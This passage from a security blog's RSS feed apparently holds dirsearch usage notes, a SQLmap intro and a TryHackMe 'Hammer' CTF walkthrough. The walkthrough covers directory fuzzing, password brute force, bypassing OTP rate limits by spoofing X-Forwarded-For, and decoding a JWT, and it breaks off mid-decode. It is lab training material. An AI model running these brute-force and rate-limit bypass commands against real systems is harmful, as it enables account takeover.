&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php -u https://target --suffixes ~ -w /path/to/wordlist
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# if we pass the wordlist containing `internal` word, then results might looks like&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;internal
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;internal~
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="filters"&gt;Filters&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;-i | --include-status&lt;/code&gt; and &lt;code&gt;-x | --exclude-status&lt;/code&gt; to select allowed and not allowed response status-codes&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# filtering with response size&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --exclude-sizes 1B,243KB
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# filtering with text in repsonse&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --exclude-texts &lt;span style="color:#e6db74"&gt;&amp;#34;403 Forbidden&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --exclude-regexps &lt;span style="color:#e6db74"&gt;&amp;#34;^Error&lt;/span&gt;$&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Excluding redirects to auth servers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --exclude-redirects &lt;span style="color:#e6db74"&gt;&amp;#34;https://(.*).okta.com/*&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --exclude-response /error.html
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="exclude-extensions"&gt;Exclude extensions&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;-X | --exclude-extensions&lt;/code&gt; with an extension list will remove all paths in the wordlist that contains the given extensions&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -u https://target -X jsp
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Wordlist:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# admin.php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# test.jsp&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Resutls:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# admin.php&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="scan-sub-directories"&gt;Scan sub-directories&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;From an URL, you can scan a list of sub-directories with &amp;ndash;subdirs.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --subdirs /,admin/,folder/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="proxies"&gt;Proxies&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;dirsearch supports SOCKS and HTTP proxy, with two options: a proxy server or a list of proxy servers.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --proxy 127.0.0.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --proxy socks5://10.10.0.1:8080
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php,html,js -u https://target --proxylist proxyservers.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h1 id="reports"&gt;Reports&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Supported report formats: simple, plain, json, xml, md, csv, html, sqlite, mysql, postgresql&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php -l URLs.txt --format plain -o report.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -e php -u https://target --format html -o target.json
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="more-example-commands"&gt;More example commands&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat urls.txt | python3 dirsearch.py --stdin
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -u https://target --max-time &lt;span style="color:#ae81ff"&gt;360&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -u https://target --auth admin:pass --auth-type basic
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python3 dirsearch.py -u https://target --header-list rate-limit-bypasses.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>SQL Map</title><link>https://silent-resistor.github.io/resources/jr-pentester/sqlmap/</link><pubDate>Sat, 07 Feb 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/resources/jr-pentester/sqlmap/</guid><description>&lt;h1 id="sqlmap"&gt;SQLmap&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;SQLmap is a powerful tool that automates the detection and exploitation of SQL injection vulnerabilities, saving time and effort compared to manual testing. It supports a wide range of databases and injection techniques, making it versatile and effective in various scenarios.
Additionally, SQLmap can retrieve data, manipulate databases, and even execute commands, providing a robust set of features for penetration testers and security analysts.
Reinventing the wheel isn&amp;rsquo;t ideal because SQLmap has been rigorously developed, tested, and improved by experts. Using a reliable, community-supported tool means you benefit from established best practices and avoid the high risk of missing vulnerabilities or introducing errors in custom code.
However you should always know how SQLmap is working, and be able to replicate it manually if necessary.&lt;/p&gt;</description></item><item><title>Hammer - Web-pentesting - tryhackme</title><link>https://silent-resistor.github.io/posts/hammer/</link><pubDate>Sat, 31 Jan 2026 00:00:00 +0000</pubDate><guid>https://silent-resistor.github.io/posts/hammer/</guid><description>&lt;h2 id="intial-observation"&gt;Intial observation&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Upon doing a nmap scan on the target machine, we get know - there is webserver running on port 1337&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;I had a closed look at the website, i do not find any of flags. except login page code left comment saying &lt;code&gt;&amp;lt;!-- Dev Note: Directory naming convention must be hmr_DIRECTORY_NAME --&amp;gt;&lt;/code&gt;. So, why dont scan all the dir starting with hmr_&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/hmr_FUZZ&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/dirb/big.txt 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;css &lt;span style="color:#75715e"&gt;# nothing, but a bootstrap css&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;images &lt;span style="color:#75715e"&gt;# A hammer image&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;js &lt;span style="color:#75715e"&gt;# min.js file, i do not think its usefull&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logs &lt;span style="color:#75715e"&gt;# Seems, i found a error.logs, it may reveal some information.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Upon observing the /hmr_logs/error.logs file, following info is revealed.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;webdir: /var/www/html
A test user: { email = tester@hammer.thm }
/restricted-area&amp;#34; - denied server configuration
/home/hammerthm/test.php - denied by server configuration
/admin-login - probably admin page, test user tried to loggin in admin, but failed - so he is not admin.
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Again Did a directory enumeration as whole on website :)&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/FUZZ&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/dirb/big.txt -t &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; -b 400-500
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;gobuster dir -u &lt;span style="color:#e6db74"&gt;&amp;#34;http://10.49.149.19:1337&amp;#34;&lt;/span&gt; -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt &lt;span style="color:#75715e"&gt;# this wordlist not giving good resutls&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.htpasswd &lt;span style="color:#75715e"&gt;# do not access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;.htaccess &lt;span style="color:#75715e"&gt;# do not access&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/javascript &lt;span style="color:#75715e"&gt;# do not enough permissions to open &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/vendor &lt;span style="color:#75715e"&gt;# Voila, Seems like a directory exposed to web&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;/phpmyadmin &lt;span style="color:#75715e"&gt;# A php admin site&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;I keep observing /vendor directory, honestly i do not find any flags. It just seems third party libraries in php.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part1-time-for-action---bruteforce"&gt;Part1: Time for Action - Bruteforce&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;I tried brute forcing loging page, it does not worked.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ffuf -u &lt;span style="color:#e6db74"&gt;&amp;#39;http://10.49.149.19:1337/&amp;#39;&lt;/span&gt; -d &lt;span style="color:#e6db74"&gt;&amp;#39;email=tester%40hammer.thm&amp;amp;password=FUZZ&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Origin: http://10.49.149.19:1337&amp;#39;&lt;/span&gt; -H &lt;span style="color:#e6db74"&gt;&amp;#39;Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9&amp;#39;&lt;/span&gt; -w /usr/share/wordlists/rockyou.txt -t &lt;span style="color:#ae81ff"&gt;1000&lt;/span&gt; -fr &lt;span style="color:#e6db74"&gt;&amp;#39;Invalid Email or Password!&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Intruder Brute force on OTPs of the reset_password for &lt;a href="mailto:tester@hammer.thm"&gt;tester@hammer.thm&lt;/a&gt; in burp revealeed, there is implementation of rate-limiting inside backend of reset_password. It giving the error after a specific number (for me its 7) attempts.&lt;/li&gt;
&lt;li&gt;Honestly, i wasn&amp;rsquo;t sure, how to break rate limiting, some blogs revealed use of &lt;code&gt;X-Forwarded-For&lt;/code&gt; in request headers to tell server about client&amp;rsquo;s IP. This is generally used in server with proxies to track the client&amp;rsquo;s activities.&lt;/li&gt;
&lt;li&gt;In this case, i we do not have proxies, and we make use of this vulnerability. What we do is, tell the server that requests are coming from varios IPs using &lt;code&gt;X-Forwarded-For&lt;/code&gt; header, so bypassing the rate-limiting.&lt;/li&gt;
&lt;li&gt;Ok, Now reset the password for &lt;a href="mailto:tester@hammer.thm"&gt;tester@hammer.thm&lt;/a&gt;, enter the randam OTP and capture request it in burp.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;# Generate OTPs list for bruteforce using the crunch
crunch 4 4 0123456789 -o otp-list.txt
# Now, Brute force with ffuf
ffuf -u &amp;#39;http://10.49.149.19:1337/reset_password.php&amp;#39; -d &amp;#39;recovery_code=FUZZ&amp;amp;s=170&amp;#39; -H &amp;#39;Content-Type: application/x-www-form-urlencoded&amp;#39; -H &amp;#39;Origin: http://10.49.149.19:1337&amp;#39; -H &amp;#39;Cookie: PHPSESSID=md4lrhv2gqqains5nsr8j7fns9&amp;#39; -H &amp;#39;X-Forwarded-For: FUZZ&amp;#39; -w otp_numbers.txt -t 1000 -fr &amp;#39;Invalid or expired recovery code!&amp;#39;
&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;
&lt;li&gt;Above brute force may reveal the otp, lets give new password for user and logIN.&lt;/li&gt;
&lt;li&gt;First flag is revealed.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="part2-remote-code-execution"&gt;Part2: Remote code execution&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Upon loggin with new password, its turns out there is auto logout after few seconds. I do not have any option, but to capture the request in burp repeater and execute commands from there.&lt;/li&gt;
&lt;li&gt;Honestly, Seems like my role is not admin, allowing me to execute only &lt;code&gt;ls&lt;/code&gt; command.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;188ade1.key &lt;span style="color:#75715e"&gt;# curl http://10.49.149.19:1337/188ade1.key --&amp;gt; 56058354efb3daa97ebab00fabd7a7d7&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;composer.json &lt;span style="color:#75715e"&gt;# cat composer.json in website --&amp;gt; &amp;#34;{\n \&amp;#34;require\&amp;#34;: {\n \&amp;#34;firebase\/php-jwt\&amp;#34;: \&amp;#34;^6.10\&amp;#34;\n }\n}\n&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;config.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dashboard.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;execute_command.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_css
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_images
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_js
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;hmr_logs
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;index.php 
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;logout.php
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;reset_password.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;Upon observation of request, its reveals usage of jwt for the authentication and authorization. Ok why dont we decode the token and see what there in. Yeah did.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Token&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;eyJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;eXAiOiJKV&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;QiLCJhbGciOiJIUzI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;NiIsImtpZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Ii&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;92&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;YXIvd&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;d&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;L&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;215&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;a&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;V&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;LmtleSJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.eyJpc&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;MiOiJodHRwOi&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;vaGFtbWVyLnRobSIsImF&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Imh&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;dHA&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Ly&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;oYW&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;tZXIudGhtIiwiaWF&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;IjoxNzY&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ODc&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;NTAxLCJleHAiOjE&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;Njk&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;4&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ODIxMDEsImRhdGEiOnsidXNlcl&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;9&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;pZCI&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;6&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;MSwiZW&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;haWwiOiJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZXN&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;ZXJAaGFtbWVyLnRobSIsInJvbGUiOiJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;c&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;VyIn&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;19&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;.erK&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;sC&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;UYS&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;5&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;suyRWwIjMdSbvA&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;sxIYUvzKbJ&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;-58&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;szio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;After&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;decoding,&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Headers&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;typ&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;JWT&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;alg&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;HS256&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;kid&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;/var/www/mykey.key&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;#&lt;/span&gt; &lt;span style="color:#960050;background-color:#1e0010"&gt;Paylaod&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;iss&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;aud&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;http://hammer.thm&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;iat&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1769878501&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;exp&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;1769882101&lt;/span&gt;,
